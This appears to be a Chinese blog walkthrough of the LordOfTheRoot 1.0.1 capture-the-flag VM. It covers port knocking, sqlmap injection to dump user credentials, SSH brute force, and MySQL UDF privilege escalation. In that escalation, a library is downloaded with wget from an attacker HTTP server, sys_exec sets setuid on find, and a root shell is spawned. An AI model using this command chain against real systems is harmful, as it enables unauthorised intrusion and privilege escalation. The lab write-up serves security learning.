LordOfTheRoot_1.0.1靶机(糠娘大爷,万物皆可炸)

一、信息收集

1)查看存活主机的ip

nmap -sP 192.168.31.0/24

2)发现存活目标主机192.168.91.131

3)进行端口扫描

nmap -p- 192.168.91.131 -sS -sV -A -T5

发现存在22端口开启,但不知到账号,密码。

4)ssh尝试登录


ssh 10.211.55.11


填写yes发现信息:Easy as 1,2,3
意思是让敲震端口3次!

5) 端口碰撞

端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。
通过使用:

hping3 -S 192.168.91.131 -p 1 -c 1
hping3 -S 192.168.91.131 -p 2 -c 1
hping3 -S 192.168.91.131 -p 3 -c 1
对目标进行3次探测

-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

6)重新进行端口扫描

nmap -p- 192.168.91.191

发现开启了1337端口的web服务,进行访问

7)访问网站

查看源码也没有有用的信息

8)进行目录遍历

        发现也没有有用有用信息,于是尝试访问rebots.txt文件,发现一张图片,查看源码,发现一条经过bash64编码的可疑信息,尝试进行解密。

        进行base64解密后发现还有一层加密,再次进行bash64解码,发现隐藏目录进行访问。

命令 echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d

        尝试访问对应的URL地址,发现是一个账号密码登陆界面

9)尝试sqlmap进行注入

* 确定是否存在注入点:

sqlmap -o -u http://192.168.91.131:1337/978345210/index.php --forms

-o 开启所有优化开关,--forms自动搜url存在的表单进行注入

** 尝试进行爆库

sqlmap -o -u http://192.168.91.131:1337/978345210/index.php --forms --dbs

爆破出了数据库四个!继续获取webapp数据表信息!

** 尝试进行爆表

sqlmap -o -u http://192.168.91.131:1337/978345210/index.php --forms --D  webapp --tables

发现存在表Users

***尝试爆破表中的列名

sqlmap -o -u http://192.168.91.131:1337/978345210/index.php --forms --D  webapp --T users --columns 

存在列名id,username ,password

****尝试爆破表中的列名username,password 

sqlmap -o -u http://192.168.91.131:1337/978345210/index.php --forms --D  webapp --T users -C id,password,username --dump

二、渗透

一、利用爆破出来的账号密码尝试进行登陆ssh

1)制作密码本和账户本

2)进行爆破登陆

发现ssh登陆的账号:

[ssh] host: 192.168.91.131   login: smeagol   password: MyPreciousR00t

3)进行登陆ssh尝试提权。

lsb_release -a  查看当前系统版本。

三、提取

1)方法一(系统版本漏洞提权)

根据系统版本漏洞进行提权。

这个就不用说了,大概思路就是:

根据liunx版本找到系统漏洞exp,该版本是14.04,exp 

直接根据说明利用就行

2)方法二(UDF提权)

1.  cd /var/www

2.使用 grep 'password' -rn 枚举出当前文件夹www下含有password 关键字的对用的文件名和行

 grep 'password' -rn 

3. 通过select语句发现mysql:

grep 'root' -rn 978345210/login.php

存在“new mysqli('localhost', 'root', 'darkshadow', 'Webapp');”

发现mysql数据库的密码darkshadow

4.查看mysql运行权限是不是root!
ps aux | grep root   ---查看mysql进程信息

这一看,就tm是root权限,那就可以创建文件,那就可以使用UDF提权,咋搞?我也不会,现学。

udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充。

创建一个UDF文件,在里面定义我们需要执行系统的命令的函数。(我们定义的函数就跟用本地MYSQL函数自带的  如abs()或concat()。udf在mysql5.1以后的版本中,存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’)

** **********en,大概这么多。

所以思路就是: 往数据库中写入一个udf文件(webshell),去执行里面的函数,让他去执行系统命令。

ok,开搞。

1)查看MySQL版本以及MySQL的运行权限(root)

dpkg -l | grep mysql   --查看历史安装包版本
5.5.44

2) 登录mysql:
mysql -uroot -pdarkshadow

3) 查看是否满足写入条件:

show global variables like 'secure%';

知道为什么?内网渗透测试:MySql的利用与提权思路总结 - FreeBuf网络安全行业门户

嗯,secure_file_priv 没有值即值为空时,表示允许mysql在任何目录导入或导出。

4)查看插件目录:

show variables like '%plugin%';
插件目录在:/usr/lib/mysql/plugin/

5)查看能否远程登陆:
use mysql;
select user,host from user;
只能本地登录!

6)locate lib_mysqludf_sys


可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

哦,靶机版本是32位的。。

7)开启http服务,将要上传的文件(webshell)下载到目标靶机。

python  -m http.server

在目标靶机/tmp目录下,wget http://192.168.91.130:8000/lib_mysqludf_sys_32.so

8)再次登陆mysql,mysql -u用户名 -p密码(无空格)

在mysql库中去创建webshell表单,在表单中写入wehshell文件(lib_mysqludf_sys_32.so),再讲该文件导入到插件所在路径(/usr/lib/mysql/plugin/lib_mysqludf_sys_32.so),利用这个文件去创建执行函数。

大概思路:下面是命令,照着复制粘贴就行。

用AI解释:

  1. use mysql
    • 这条命令用于切换到mysql数据库。mysql数据库通常包含了MySQL服务器的系统表,如用户权限、存储过程和函数等。
  2. create table webshell(webshell longblob);
    • mysql数据库中创建了一个新表webshell,这个表有一个名为webshell的列,数据类型为LONGBLOBLONGBLOB用于存储大量的二进制数据。
  3. insert into dayu values (load_file('/tmp/lib_mysqludf_sys_32.so'));
    • dayu表中插入一行数据。这里使用了LOAD_FILE()函数,该函数尝试读取服务器上的文件并将其作为二进制数据插入到表中。在这个例子中,它尝试读取/tmp/dayu.so文件,这个文件很可能是一个自定义的共享库(.so文件),用于执行特定的恶意操作。
  4. select * from dayu into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_32.so';
    • 这条命令尝试将dayu表中的所有数据(即之前插入的/tmp/lib_mysqludf_sys_32.so文件的内容)导出到服务器的/usr/lib/mysql/plugin/dayu.so文件中。这实际上是在尝试覆盖或放置一个恶意共享库到MySQL的插件目录中,这样MySQL服务器在加载插件时可能会执行恶意代码。
  5. create function sys_exec returns string soname 'lib_mysqludf_sys_32.so';
    • 这条命令尝试在MySQL中创建一个名为sys_exec的函数,该函数返回一个字符串。SONAME参数指定了该函数实现所在的共享库名称,这里指定为dayu.so。这意味着,当调用sys_exec函数时,MySQL将尝试从dayu.so库中查找该函数的实现。如果dayu.so包含恶意代码,这可以导致执行任意命令。
  6. select * from mysql.func;
    • 这条命令试图从mysql.func表中检索信息。mysql.func表通常包含了MySQL中定义的用户定义函数的信息。然而,这行代码本身并不直接执行恶意操作,它可能只是被用来查看或确认sys_exec函数是否已成功创建。
  7. select sys_exec('chmod u+s /usr/bin/find');
    • 如果sys_exec函数成功创建,并且dayu.so包含相应的实现,这条命令将调用该函数,并尝试将/usr/bin/find命令的setuid位设置为用户执行(u+s)。setuid位允许用户以文件所有者的权限执行该文件,即使是以较低权限的用户身份运行。在这个例子中,这可能允许攻击者以root权限执行find命令。
  8. find / -exec '/bin/sh' \;最后,这条命令使用find命令在根目录(/)下查找所有文件,并对每个找到的文件执行/bin/sh(即启动一个新的shell)。由于前面可能已经将find命令的setuid位设置为root,这条命令将能够以root权限执行,从而允许攻击者执行任意命令。

。。。。。。exit 出mysql数据库后,再执行find / -exec '/bin/sh' \;

糠T娘,写的不好,,,那也得点赞

截图展示:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值